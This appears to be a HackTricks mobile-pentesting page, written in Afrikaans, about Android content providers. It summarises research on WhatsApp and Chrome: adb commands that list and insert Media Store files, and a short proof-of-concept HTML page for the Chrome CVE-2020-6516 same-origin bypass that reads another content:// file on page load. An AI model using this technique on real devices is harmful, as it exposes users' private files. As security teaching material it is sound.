hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

6.1 KiB

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

Dit is 'n opsomming van die pos https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Lyste van Lêers in Media Store

Om lêers wat deur die Media Store bestuur word, te lys, kan die onderstaande opdrag gebruik word:

$ content query --uri content://media/external/file

Vir 'n meer mensvriendelike uitvoer, wat slegs die identifiseerder en pad van elke geïndekseerde lêer vertoon:

$ content query --uri content://media/external/file --projection _id,_data

Content providers is geïsoleer in hul eie private naamruimte. Toegang tot 'n verskaffer vereis die spesifieke content:// URI. Inligting oor die paaie om toegang tot 'n verskaffer te verkry, kan verkry word uit toepassings-manifeste of die Android-raamwerk se bronkode.

Chrome se Toegang tot Inhoud Verskaffers

Chrome op Android kan toegang verkry tot inhoud verskaffers deur die content:// skema, wat dit in staat stel om hulpbronne soos foto's of dokumente wat deur derdeparty-toepassings uitgevoer is, te benader. Om dit te illustreer, kan 'n lêer in die Media Store ingevoeg word en dan via Chrome toegang verkry word:

Voeg 'n pasgemaakte inskrywing in die Media Store in:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Ontdek die identifiseerder van die nuut ingevoegde lêer:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Die lêer kan dan in Chrome gesien word met 'n URL wat saamgestel is met die lêer se identifiseerder.

Byvoorbeeld, om lêers wat verband hou met 'n spesifieke toepassing te lys:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

Die Same Origin Policy (SOP) is 'n sekuriteitsprotokol in blaaiers wat webbladsye beperk om met hulpbronne van verskillende oorspronge te kommunikeer, tensy dit eksplisiet toegelaat word deur 'n Cross-Origin-Resource-Sharing (CORS) beleid. Hierdie beleid het ten doel om inligtingslekke en cross-site request forgery te voorkom. Chrome beskou content:// as 'n plaaslike skema, wat strenger SOP-reëls impliseer, waar elke plaaslike skema-URL as 'n aparte oorsprong behandel word.

Egter, CVE-2020-6516 was 'n kwesbaarheid in Chrome wat 'n omseiling van SOP-reëls vir hulpbronne wat via 'n content:// URL gelaai is, toegelaat het. In werklikheid kon JavaScript-kode van 'n content:// URL toegang verkry tot ander hulpbronne wat via content:// URLs gelaai is, wat 'n beduidende sekuriteitskwessie was, veral op Android-toestelle wat weergawes voor Android 10 gebruik, waar geskaalde stoor nie geïmplementeer was nie.

Die bewys-van-konsep hieronder demonstreer hierdie kwesbaarheid, waar 'n HTML-dokument, nadat dit onder /sdcard opgelaai is en by die Media Store gevoeg is, XMLHttpRequest in sy JavaScript gebruik om toegang te verkry tot en die inhoud van 'n ander lêer in die Media Store te vertoon, terwyl die SOP-reëls omseil word.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

{% embed url="https://websec.nl/" %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}